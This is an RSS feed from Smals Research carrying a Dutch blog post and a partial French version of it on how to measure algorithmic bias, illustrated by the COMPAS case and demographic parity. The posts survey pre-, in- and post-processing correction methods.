<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Machine Learning &#8211; Smals Research</title>
	<atom:link href="https://www.smalsresearch.be/tag/machine-learning/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.smalsresearch.be</link>
	<description></description>
	<lastBuildDate>Thu, 09 Apr 2026 12:23:58 +0000</lastBuildDate>
	<language>en-GB</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://www.smalsresearch.be/wp-content/uploads/2026/01/cropped-cropped-Smals_Research-32x32.png</url>
	<title>Machine Learning &#8211; Smals Research</title>
	<link>https://www.smalsresearch.be</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Ethiek en artificiële intelligentie: hoe een bias meten en corrigeren?</title>
		<link>https://www.smalsresearch.be/ethiek-en-artificiele-intelligentie-hoe-een-bias-meten-en-corrigeren/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Wed, 11 Jun 2025 08:00:00 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Artificial intelligence]]></category>
		<category><![CDATA[classification]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<guid isPermaLink="false">/?p=22871</guid>

					<description><![CDATA[Dit artikel gaat in op de manier waarop algoritmische bias kan worden gemeten en op de verschillende manieren om deze te corrigeren om eerlijke voorspellingen te genereren.]]></description>
										<content:encoded><![CDATA[
<p><em><a href="/ethique-et-intelligence-artificielle-comment-mesurer-et-corriger-un-biais/">Version en français</a></em></p>
<p>Artificiële intelligentie en machine learning spelen een steeds grotere rol in de menselijke samenleving ter ondersteuning van besluitvormingsprocessen. De aandacht naar hun eerlijkheid (fairness) is de afgelopen jaren dan ook steeds belangrijker geworden. Predictieve modellen kunnen namelijk problematisch worden wanneer ze biases (vooringenomenheden) die ze tijdens hun trainingsfase uit historische gegevens hebben geleerd, beginnen te reproduceren of versterken. Deze bias leidt vaak tot discriminatie van een of meer groepen individuen. Dit is vooral problematisch in het kader van gevoelige beslissingen, zoals het verwerken van sollicitaties, het toekennen van leningen of justitie. Dit artikel gaat in op de manier waarop deze algoritmische bias kan worden gemeten en op de verschillende manieren om deze te corrigeren om eerlijke voorspellingen te genereren.</p>
<p>Zoals we al in een <a href="/lethique-dans-lintelligence-artificielle/">eerdere blogpost</a> hebben besproken, kan een bias verschillende oorzaken hebben. Het kan bijvoorbeeld gaan om een designfout in het algoritme zelf, een ondervertegenwoordiging van een groep in de trainingsdata, of om historische data die bevooroordeeld is door racisme/seksisme in de samenleving [<a href="#footnote-1">1</a>]. In dit artikel richten we ons op het geval waarin het probleem bij de gegevens ligt en niet bij het model zelf, namelijk wanneer het model leert op basis van bevooroordeelde gegevens en deze vooringenomenheid vervolgens reproduceert in zijn voorspellingen.</p>
<p>Een van de bekendste voorbeelden is de COMPAS-case. Het COMPAS-algoritme werd gebruikt in de Verenigde Staten om het risico op recidive van gedetineerden in het kader van een mogelijke vervroegde vrijlating in te schatten. In 2016 stelde een <a href="https://www.propublica.org/article/how-we-analyzed-the-compas-recidivism-algorithm">studie van ProPublica</a> dat Afro-Amerikanen door het algoritme werden gediscrimineerd omdat ze meer kans hadden om als “<em>high-risk</em>” te worden geclassificeerd. De studie stelde meer bepaald dat een persoon met een donkere huidskleur meer kans had om ten onrechte als “<em>high-risk</em>” te worden geclassificeerd en dat een blanke daarentegen meer kans had om ten onrechte als “<em>low-risk</em>” te worden geclassificeerd. Deze zaak leidde tot een groot debat en de publicatie van honderden artikelen over dit onderwerp.</p>
<p>In het geval van COMPAS, lag het probleem niet bij het algoritme zelf, maar eerder bij de gegevens waarop het was getraind. Het model was namelijk getraind op historische strafrechtelijke gegevens die een systematische racistische vooringenomenheid weerspiegelen, zoals discriminerende politiepraktijken. Deze bevooroordeelde gegevens leidden er dus toe dat het model eveneens vooroordelen vertoonde in zijn voorspellingen.</p>



<h2 class="wp-block-heading">Hoe meet je de oneerlijkheid van een model?</h2>



<p>Problemen met fairness veronderstellen het bestaan van een zogenaamde<strong> gevoelige variabele</strong>. Dit is de variabele waarvoor men geen discriminatie wenst. Het kan bijvoorbeeld gaan om het geslacht of de etnische afkomst van een persoon. De gevoelige variabele is vaak <strong>categorisch</strong>, maar kan, afhankelijk van het geval, ook <strong>continu</strong> zijn (bijvoorbeeld de leeftijd van een persoon). Voor het gemak gaan we ervan uit dat er slechts een gevoelige variabele is, maar in sommige problemen kunnen er meerdere zijn.</p>
<p>Op basis van deze gevoelige variabele worden doorgaans twee groepen gedefinieerd. De groep die door het model negatief wordt gediscrimineerd, wordt de “beschermde groep” genoemd.</p>
<p>Stel dat we een predictief model hebben dat voorspellingen moet doen over het toekennen van een lening. Dit algoritme wordt als “eerlijk” beschouwd als de kans dat een persoon voor de lening wordt geselecteerd (positieve beslissing van het model) gelijk is, ongeacht de groep waartoe de persoon behoort. Wiskundig gezien willen we dus het volgende opleggen:</p>
<p>P(Y<sub>d</sub> = 1 | Z = 1) = P(Y<sub>d</sub> = 1 | Z = 0)</p>
<p>waarbij Y<sub>d</sub> de beslissing van het model is en Z een binaire variabele die aangeeft of een persoon al dan niet behoort tot de beschermde groep. Deze kansen worden berekend op groepsniveau, niet op individueel niveau.</p>
<p>Een bekende maatstaf voor algoritmische oneerlijkheid is dus gewoon het verschil tussen deze twee termen. Indien er een verschil is, betekent het dat het model een van de twee groepen bevoordeelt. Deze maatstaf voor het verschil tussen voorspellingen binnen de twee groepen wordt “<em>demographic parity</em>” of “<em>statistical parity</em>” genoemd.</p>
<p>Hoewel deze maatstaf relatief eenvoudig is, is dit een van de bekendste op het gebied van algoritmische rechtvaardigheid, die algemeen wordt erkend en gebruikt. Het is echter duidelijk niet de enige maatstaf die bestaat (voor enkele alternatieven, zie bijvoorbeeld [<a href="#footnote-2">2</a>, <a href="#footnote-3">3</a>]). Opgemerkt moet worden dat, aangezien demographic parity wordt gemeten op groepsniveau, het een maatstaf is voor groepsrechtvaardigheid (group fairness). Er bestaan ook alternatieve maatstaven op individueel niveau (individual fairness).</p>



<h2 class="wp-block-heading">Waarom wordt de gevoelige variabele niet gewoon uit het model verwijderd?</h2>



<p>Op het eerste gezicht lijkt het probleem eenvoudig op te lossen. Een voorspellend machine learning-model neemt gegevens X als input en voorspelt een variabele Y als output op basis van de gegevens in X. Het zou dus in principe voldoende zijn om de variabele Z niet op te nemen in de gegevens X, zodat de voorspellingen van het model niet meer worden beïnvloed door Z.</p>
<p>Helaas zijn de variabelen waaruit X bestaat in de praktijk zelden onafhankelijk van elkaar. De database X kan dus variabelen bevatten die gecorreleerd zijn met de gevoelige variabele, het model kan deze variabelen gebruiken als proxy van de gevoelige variabele en vertekende voorspellingen geven, ook al maakt Z niet expliciet deel uit van de gebruikte inputgegevens. Zo kan in een steekproef het inkomen van een persoon worden gebruikt als proxy voor zijn leeftijd, omdat het inkomen van personen doorgaans stijgt naarmate ze ouder worden.</p>
<p>In het geval van COMPAS werd de etnische afkomst van de gedetineerde bijvoorbeeld niet expliciet gebruikt in het model als variabele, maar door de aanwezigheid van gecorreleerde proxyvariabelen (bijv. postcode, sociaaleconomische indicatoren) werd de raciale vertekening altijd weerspiegeld in de voorspellingen van het model.</p>



<h2 class="wp-block-heading"><strong>Hoe een algoritmische bias in de praktijk corrigeren?</strong></h2>



<p>Er onderscheiden zich drie grote families van correcties: voorbewerking (“pre-processing”: het verwijderen van de bias uit de trainingsdata), verwerking (“in-processing”: het verwijderen van de bias tijdens het trainen van het model) en nabewerking (“post-processing”: het verwijderen van de bias uit een getraind model). Deze benaderingen hebben elk hun voor- en nadelen en zijn uitgebreid beschreven in tal van publicaties. De geïnteresseerde lezer kan de volgende survey raadplegen [<a href="#footnote-4">4</a>], waarin de verschillende publicaties op het gebied van fairness zijn verzameld en geordend per aanpak (pre-, in-, post-processing), per type algoritme (logistische regressie, random forest, neurale netwerken, enz.), per gebruikte fairness-maatstaf, enz. Dit biedt een goed gestructureerd overzicht van wat er op dit gebied wordt gedaan.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/Biased_Process.png"><img fetchpriority="high" decoding="async" width="1024" height="437" src="/wp-content/uploads/2025/05/Biased_Process-1024x437.png" alt="" class="wp-image-22699" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-1024x437.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-300x128.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-768x328.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process.png 1056w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 1: Overzicht van een classificatieproces met een vooringenomenheid in de gegevens.</figcaption></figure>



<h2 class="wp-block-heading">Pre-processingsmethoden</h2>



<p>Het idee is eenvoudig: de trainingsgegevens ontdoen van vooringenomenheid om ze dichter bij de werkelijkheid te brengen, zodat de vooroordelen niet in het machine learning-model terechtkomen. Enkele voorbeelden van pre-processingsmethoden zijn:</p>



<ul class="wp-block-list">
<li>De steekproef (sampling) opnieuw in evenwicht brengen (door waarnemingen toe te voegen of te verwijderen);</li>



<li>De inhoud van bepaalde variabelen van data X corrigeren of zelfs volledig vervangen door nieuwe variabelen (<em>representational learning</em>) die geen gevoelige informatie bevatten;</li>



<li>Het label (variabele Y) van bepaalde waarnemingen wijzigen.</li>
</ul>



<p>Pre-processing biedt het voordeel dat het niet afhankelijk is van het gebruikte model en dat het doorgaans eenvoudig uit te leggen en te begrijpen is. Het correct corrigeren van historische gegevens kan echter ingewikkeld zijn en het is moeilijk om de fairness van het resulterende model te garanderen. Ook moet het risico van verlies aan nauwkeurigheid worden vermeld, aangezien het wijzigen van data mogelijk relevante patterns uit de data verwijdert.</p>
<p>Figuur 2 toont hoe fairness wordt toegevoegd via een pre-processing-aanpak. Zoals uit het schema blijkt, is pre-processing niet altijd noodzakelijk voor nieuwe data. Sommige methoden (bijv. resampling, relabeling) vereisen enkel een wijziging van de trainingsdata om te voorkomen dat het algoritme de bias leert. Sommige algoritmen (bijv. representation learning) vereisen echter ook dat de nieuwe te voorspellen waarnemingen worden gewijzigd.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/PreProcessing.png"><img decoding="async" width="1024" height="355" src="/wp-content/uploads/2025/05/PreProcessing-1024x355.png" alt="" class="wp-image-22702" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-1024x355.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-300x104.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-768x266.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing.png 1474w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 2: Fairness via een pre-processing-aanpak.</figcaption></figure>



<h2 class="wp-block-heading">In-processing-methoden</h2>



<p>Deze methoden bestaan uit het rechtstreeks wijzigen van het voorspellingsmodel zelf, zodat de voorspellingen fair zijn. Dit kan bijvoorbeeld worden gedaan door een regularisatieterm toe te voegen aan de doelfunctie van het algoritme, of door er fairness-beperkingen aan toe te voegen.</p>
<p>In-processing-methoden hebben het voordeel dat, zodra het model is getraind, fairness direct in het model wordt opgenomen en het model vrij kan worden gebruikt, zonder dat de invoergegevens of de voorspellingen van het model verder hoeven te worden aangepast. Bovendien biedt het rechtstreeks wijzigen van het model een grote flexibiliteit, omdat complexe fairness-beperkingen kunnen worden gecodeerd.</p>
<p>Deze grote flexibiliteit vereist echter voldoende theoretische en praktische kennis om het algoritme zelf te kunnen wijzigen. Bovendien kan het aanbrengen van wijzigingen in een model, zoals beperkingen, de trainingstijd aanzienlijk verlengen. Aangezien in-processing-methoden de training van een algoritme wijzigen, zijn de meeste gepubliceerde methoden doorgaans specifiek voor een bepaald model.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/InProcessing.png"><img decoding="async" width="1024" height="534" src="/wp-content/uploads/2025/05/InProcessing-1024x534.png" alt="" class="wp-image-22700" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-1024x534.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-300x156.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-768x400.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing.png 1063w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 3: Fairness door in-processing.</figcaption></figure>



<h2 class="wp-block-heading">Post-processingsmethoden</h2>



<p>Bij de laatste benadering worden het model en de historische data niet aangepast, maar worden de voorspellingen van het model aangepast om aan de fairness-beperkingen te voldoen. Een post-processing-algoritme wijzigt dus meestal ofwel de waarschijnlijkheid dat een waarneming tot de door het model voorspelde klassen behoort, ofwel rechtstreeks de beslissingen (definitieve classificaties) voor bepaalde waarnemingen.</p>
<p>Post-processingsalgoritmen zijn eenvoudig te implementeren: ze zijn onafhankelijk van het gebruikte voorspellingsmodel en kunnen dus worden gebruikt met ‘black-box’-modellen. Bovendien vereist post-processing geen wijzigingen aan de gegevens of het model en blijft de integriteit van het bestaande proces dus behouden.</p>
<p>Dit soort methoden leidt echter doorgaans tot een groter verlies aan modelprestaties dan het gebruik van in-processingsmethoden. Een model vrij trainen en vervolgens achteraf de voorspellingen aanpassen om aan bepaalde beperkingen te voldoen, is namelijk vaak minder effectief dan een model dat specifiek is geoptimaliseerd om voorspellingen te doen die aan de beperkingen voldoen.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/PostProcessing.png"><img loading="lazy" decoding="async" width="1024" height="336" src="/wp-content/uploads/2025/05/PostProcessing-1024x336.png" alt="" class="wp-image-22701" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-1024x336.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-300x98.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-768x252.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing.png 1323w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 4: Fairness door middel van post-processing.</figcaption></figure>



<h2 class="wp-block-heading">Eerlijke voorspellingen evalueren</h2>



<p>Vanaf het moment dat beperkingen aan de voorspellingen van een model worden toegevoegd of de toegang tot bepaalde informatie wordt beperkt, zal dit de classificatieprestaties van het model logischerwijs verminderen. Het integreren van fairness in een classificatieprobleem houdt dus in dat er een juiste balans moet worden gevonden tussen de nauwkeurigheid van het model en de fairness ervan.</p>
<p>Bovendien is het raadzaam om, zelfs wanneer een evenwicht tussen nauwkeurigheid en eerlijkheid is gevonden, altijd te controleren welke wijzigingen het toevoegen van fairness-beperkingen met zich meebrengt.</p>
<p>Een voorbeeld ter illustratie: stel dat een algoritme voorspellingen doet die bevooroordeeld zijn en relatief meer gunstige beslissingen neigt te nemen voor leden van groep A dan voor leden van groep B. Het risico bestaat dat het algoritme bij de invoering van een fairness-beperking reageert door simpelweg het aantal gunstige beslissingen voor groep A te verminderen om hetzelfde niveau als groep B te bereiken. Dit nieuwe model is dus in<strong><em> theorie</em></strong> eerlijker dan het vorige, maar het is duidelijk slechter omdat deze eerlijkheid alleen is bereikt door een van de groepen te benadelen.</p>
<p>Dit voorbeeld illustreert hoe belangrijk het is om bij het invoeren van eerlijkheid in een model niet alleen te kijken naar prestatiemaatstaven (<em>accuracy, demographic parity</em>, enz.), maar ook te onderzoeken hoe de beslissingen van het model in de praktijk worden beïnvloed.</p>



<h2 class="wp-block-heading">Conclusie</h2>



<p>In dit artikel hebben we gezien hoe de oneerlijkheid van een machine learning-model kan worden gemeten. Ook hebben we een overzicht gegeven van de verschillende benaderingen die worden gebruikt om te voorkomen dat het model een in de historische gegevens aangeleerde bias reproduceert of versterkt.</p>
<p>Belangrijk is dat de verschillende benaderingen elkaar niet uitsluiten en vaak kunnen worden gecombineerd (bijvoorbeeld voorbewerking van de trainingsdata, gevolgd door een in-processing-methode op het model). Sommige publicaties op dit gebied stellen methoden voor die op verschillende niveaus van het classificatieproces werken.</p>



<h2 class="wp-block-heading">Referenties</h2>



<p id="footnote-1">[1] Mehrabi, N., Morstatter, F., Saxena, N., Lerman, K., &amp; Galstyan, A. (2021). A survey on bias and fairness in machine learning. <em>ACM computing surveys (CSUR)</em>, <em>54</em>(6), 1-35.</p>
<p id="footnote-2">[2] Castelnovo, A., Crupi, R., Greco, G., Regoli, D., Penco, I. G., &amp; Cosentini, A. C. (2022). A clarification of the nuances in the fairness metrics landscape. <em>Scientific Reports</em>, <em>12</em>(1), 4209.</p>
<p id="footnote-3">[3] Corbett-Davies, S., Gaebler, J. D., Nilforoshan, H., Shroff, R., &amp; Goel, S. (2023). The measure and mismeasure of fairness. <em>Journal of Machine Learning Research</em>, <em>24</em>(312), 1-117.</p>
<p id="footnote-4">[4] Hort, M., Chen, Z., Zhang, J. M., Harman, M., &amp; Sarro, F. (2024). Bias mitigation for machine learning classifiers: A comprehensive survey. <em>ACM Journal on Responsible Computing</em>, <em>1</em>(2), 1-52.</p>
<p>Voor een soortgelijk onderwerp, zie de blogpost <a href="/ia-lethique-en-pratique/">IA : L&#8217;éthique en pratique</a>.</p>
<hr />
<p><em>Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ethique et intelligence artificielle&#160;: comment mesurer et corriger un biais ?</title>
		<link>https://www.smalsresearch.be/ethique-et-intelligence-artificielle-comment-mesurer-et-corriger-un-biais/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Tue, 20 May 2025 12:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Artificial intelligence]]></category>
		<category><![CDATA[classification]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<guid isPermaLink="false">/?p=22692</guid>

					<description><![CDATA[Cet article s'intéresse à la manière dont les biais algorithmiques peuvent être mesurés et corrigés pour générer des prédictions équitables.]]></description>
										<content:encoded><![CDATA[
<p><em><a href="/ethiek-en-artificiele-intelligentie-hoe-een-bias-meten-en-corrigeren/">Nederlandstalige versie</a></em></p>
<p>Tandis que l’intelligence artificielle et le machine learning jouent un rôle croissant dans la société humaine pour soutenir les processus de prise de décision, les préoccupations concernant leur équité (fairness) ont attiré l’attention au cours des dernières années. Les modèles prédictifs peuvent en effet devenir problématiques lorsqu’ils commencent à reproduire ou renforcer des biais qu’ils ont appris dans les données historiques utilisées durant leur phase d’entrainement. Ce biais crée souvent une discrimination injuste à l’encontre d’un ou plusieurs groupe(s) d’individus, ce qui est particulièrement problématique dans le cadre de décisions sensibles, telles que le traitement de candidatures d’emploi, l’accord de prêts ou la justice, entre autres. Cet article s&#8217;intéresse à la manière dont ces biais algorithmiques peuvent être mesurés et les différentes façons de les corriger pour générer des prédictions équitables.</p>
<p>Comme nous en avions déjà discuté dans un <a href="/lethique-dans-lintelligence-artificielle/">précédent article de blog</a>, un biais peut avoir plusieurs sources. Il peut par exemple s’agir d’un problème de design de l’algorithme en lui-même, d’un souci de sous-représentation d’un groupe dans les données d’entrainement, ou de données historiques biaisées par du racisme/sexisme présent dans la société [<a href="#footnote-1">1</a>]. Dans le cadre de cet article, nous nous concentrerons sur le cas où le problème vient des données et non pas du modèle en lui-même, à savoir lorsque le modèle apprend sur des données biaisées et reproduit ensuite ce biais dans ses prédictions.</p>
<p>L’un des exemples les plus connus est le cas COMPAS. L’algorithme COMPAS était utilisé aux États-Unis pour estimer le risque de récidive de détenus dans le cadre d’une potentielle libération anticipée. En 2016, <a href="https://www.propublica.org/article/how-we-analyzed-the-compas-recidivism-algorithm">une étude de ProPublica</a> affirmait que les Afro-Américains étaient discriminés par l’algorithme car ils avaient plus de chance d’être classifiés comme « high-risk ». Plus précisément, l’étude mentionnait qu’une personne noire avait plus de chance d’être erronément classifiée comme « high-risk » et, qu’à l’inverse, une personne blanche avait plus de chance d’être erronément classifiée comme « low-risk ». Cette affaire entraina un grand débat et la publication de centaines d’articles sur le sujet.</p>
<p>Dans le cas de COMPAS, le problème n’était pas l’algorithme en lui-même, mais les données sur lesquelles il a été entrainé. Le modèle a en effet été entrainé sur des données historiques de la justice pénale qui reflètent un biais raciste systémique, telles que des pratiques policières discriminatoires. Ces données biaisées ont donc entrainé un modèle produisant des prédictions elles aussi biaisées.</p>



<h2 class="wp-block-heading">Comment mesurer l’iniquité d’un modèle&nbsp;?</h2>



<p>Les problèmes de fairness supposent l’existence d’une variable appelée <strong>variable sensible</strong>. Il s’agit de la variable vis-à-vis de laquelle on souhaite qu’il n’y ait pas de discrimination. Il peut par exemple s’agir du genre de la personne, ou de son origine ethnique. La variable sensible est souvent <strong>catégorielle</strong>, mais suivant le cas de figure, elle peut aussi être <strong>continue</strong> (e.g. l’âge d’une personne). Pour des raisons de simplicité, nous faisons l’hypothèse qu’il n’y a qu’une seule variable sensible, mais dans certains problèmes il peut y en avoir plusieurs.</p>
<p>Sur base de cette variable sensible, on définit généralement deux groupes. Le groupe qui est discriminé négativement par le modèle est appelé « groupe protégé ».</p>
<p>Supposons un modèle prédictif ayant pour objectif de fournir des prédictions concernant l’accord d’un prêt. Cet algorithme sera considéré comme « équitable » si la probabilité pour un individu d’être sélectionné pour le prêt (décision positive du modèle) est la même peu importe le groupe dont est issu l’individu. Mathématiquement, on cherche donc à imposer&nbsp;:</p>
<p>P(Y<sub>d</sub> = 1 | Z = 1) = P(Y<sub>d</sub> = 1 | Z = 0)</p>
<p>Où Y<sub>d</sub> est la décision du modèle et Z est une variable binaire indiquant l’appartenance ou non au groupe protégé. Ces probabilités sont calculées à l’échelle du groupe, et non pas de façon individuelle.</p>
<p>Une mesure bien connue de l’iniquité algorithmique consiste donc simplement à calculer la différence entre ces deux termes. S’il y a une différence, cela implique que le modèle favorise l’un des deux groupes. Cette mesure de la différence entre les prédictions au sein des deux groupes est appelée la « demographic parity » ou « statistical parity ».</p>
<p>Bien que relativement simple, il s’agit de l’une des mesures les plus connues dans le domaine de l’équité algorithmique, largement reconnue et utilisée. Cependant, ce n’est évidemment pas la seule mesure qui existe (pour quelques alternatives, voir e.g., [<a href="#footnote-2">2</a>, <a href="#footnote-3">3</a>]). Il est à noter que, puisqu’elle se mesure à l’échelle des groupes, la demographic parity est donc une mesure d’équité de groupe (group fairness), il existe aussi des mesures alternatives au niveau des individus (individual fairness).</p>



<h2 class="wp-block-heading"><strong>Pourquoi ne pas simplement enlever la variable sensible du modèle&nbsp;?</strong></h2>



<p>Le problème semble, à première vue, simple à régler. Un modèle prédictif de machine learning prend en entrée des données X et prédit une variable Y en sortie sur base des données contenues dans X. Il suffirait donc, a priori, simplement d’enlever la variable Z de la base de données X pour que les prédictions du modèle ne soient plus impactées par Z.</p>
<p>Malheureusement, dans la pratique, les variables qui composent X sont rarement indépendantes les unes des autres. La base de données X peut donc contenir des variables corrélées avec la variable sensible, et le modèle pourra se servir de ces variables comme d’un proxy de la variable sensible et fournir des prédictions biaisées, bien que Z ne fasse pas explicitement partie des données utilisées en entrée. Par exemple, dans un échantillon, le revenu d’une personne peut être utilisée comme proxy de son âge, car les revenus des individus ont tendance à augmenter avec l’âge.</p>
<p>Dans le cas COMPAS par exemple, l’origine ethnique du détenu n’était pas explicitement utilisée en tant que variable du modèle, mais à cause de la présence de variables proxy corrélées (e.g., le code postal, des indicateurs socio-économiques), le biais racial se reflétait toujours dans les prédictions du modèle.</p>



<h2 class="wp-block-heading"><strong>Comment corriger un biais algorithmique en pratique&nbsp;?</strong></h2>



<p>Il existe 3 grandes familles de corrections : le prétraitement (« pre-processing » : enlever le biais des données d’entrainement), le traitement en cours (« in-processing » : enlever le biais durant l’entrainement du modèle) et le post-traitement (« post-processing » : enlever le biais d’un modèle entrainé). Chacune de ces approches a ses avantages et ses inconvénients et a fait l’objet de nombreuses publications. Le lecteur intéressé pourra se référer au survey suivant [<a href="#footnote-4">4</a>], qui rassemble et organise les différentes publications dans le domaine de la fairness par approche (pre-, in-, post-processing), type d’algorithme utilisé (régression logistique, random forest, réseaux de neurones, etc.), mesure de fairness utilisée, etc., offrant une vue d’ensemble bien structurée de ce qui se fait dans le domaine.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/Biased_Process.png"><img loading="lazy" decoding="async" width="1024" height="437" src="/wp-content/uploads/2025/05/Biased_Process-1024x437.png" alt="" class="wp-image-22699" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-1024x437.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-300x128.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-768x328.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process.png 1056w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figure 1&nbsp;: Vue d’ensemble d’un processus de classification présentant un biais dans les données.</figcaption></figure>



<h2 class="wp-block-heading"><strong>Les méthodes «&nbsp;pre-processing&nbsp;»</strong></h2>



<p>L’idée est simple&nbsp;: il s’agit simplement de débiaiser les données d’entrainement pour les rendre plus proches de la réalité, de sorte que le biais ne parvienne pas jusqu’au modèle de machine learning. Quelques exemples de méthodes de pre-processing incluent par exemple&nbsp;:</p>



<ul class="wp-block-list">
<li>Rééquilibrer l’échantillonnage (en ajoutant ou supprimant des observations) ;</li>



<li>Corriger le contenu de certaines variables des données X, voire complètement remplacer les variables par des nouvelles (representation learning) qui ne contiennent pas d’information sensible ;</li>



<li>Changer le label (variable Y) de certaines observations.</li>
</ul>



<p>Le pre-processing offre l’avantage de ne pas dépendre du modèle utilisé et d’être (généralement) facile à expliquer et à comprendre. Cependant, corriger adéquatement les données historiques peut être compliqué à réaliser, et il est difficile de garantir l’équité du modèle résultant. Il faut aussi mentionner le risque de perte de précision, car altérer les données peut potentiellement enlever des patterns pertinents des données.</p>
<p>La figure 2 montre l’ajout d’équité via une approche pre-processing. Comme visible sur le schéma, le pre-processing ne s’applique pas toujours nécessairement aux nouvelles données. Certaines méthodes (e.g. rééchantillonnage, relabeliser) ne demandent que de modifier les données d’entrainement, pour éviter que l’algorithme n&#8217;apprenne le biais. Par contre, certains algorithmes (e.g. representation learning) nécessitent aussi de modifier les nouvelles observations à prédire.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/PreProcessing.png"><img loading="lazy" decoding="async" width="1024" height="355" src="/wp-content/uploads/2025/05/PreProcessing-1024x355.png" alt="" class="wp-image-22702" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-1024x355.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-300x104.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-768x266.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing.png 1474w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figure 2&nbsp;: Equité par approche pre-processing.</figcaption></figure>



<h2 class="wp-block-heading"><strong>Les méthodes «&nbsp;in-processing&nbsp;»</strong></h2>



<p>Ces méthodes consistent à modifier directement le modèle prédictif en lui-même, de sorte que ses prédictions soient équitables. Cela peut par exemple se faire en ajoutant un terme de régularisation sur la fonction objectif de l&#8217;algorithme, ou en lui ajoutant des contraintes de fairness.</p>
<p>Les méthodes in-processing ont l’avantage qu’une fois le modèle entrainé, la fairness est directement inclue dans le modèle et celui-ci peut être utilisé librement, sans nécessiter de modification supplémentaire des données entrées ou des prédictions du modèle. De plus, modifier directement le modèle offre une grande flexibilité, car on peut y encoder des contraintes de fairness complexes.</p>
<p>Cette grande flexibilité requiert, en contrepartie, des connaissances théoriques et pratiques suffisamment approfondies pour pouvoir modifier l’algorithme en lui-même. En outre, introduire des modifications dans un modèle, telles que des contraintes, peut significativement augmenter son temps d’entrainement. Enfin, puisque les méthodes d’in-processing modifient l’entrainement d’un algorithme, la plupart des méthodes publiées sont généralement spécifiques à un modèle précis.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/InProcessing.png"><img loading="lazy" decoding="async" width="1024" height="534" src="/wp-content/uploads/2025/05/InProcessing-1024x534.png" alt="" class="wp-image-22700" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-1024x534.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-300x156.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-768x400.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing.png 1063w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figure 3&nbsp;: Equité par approche in-processing.</figcaption></figure>



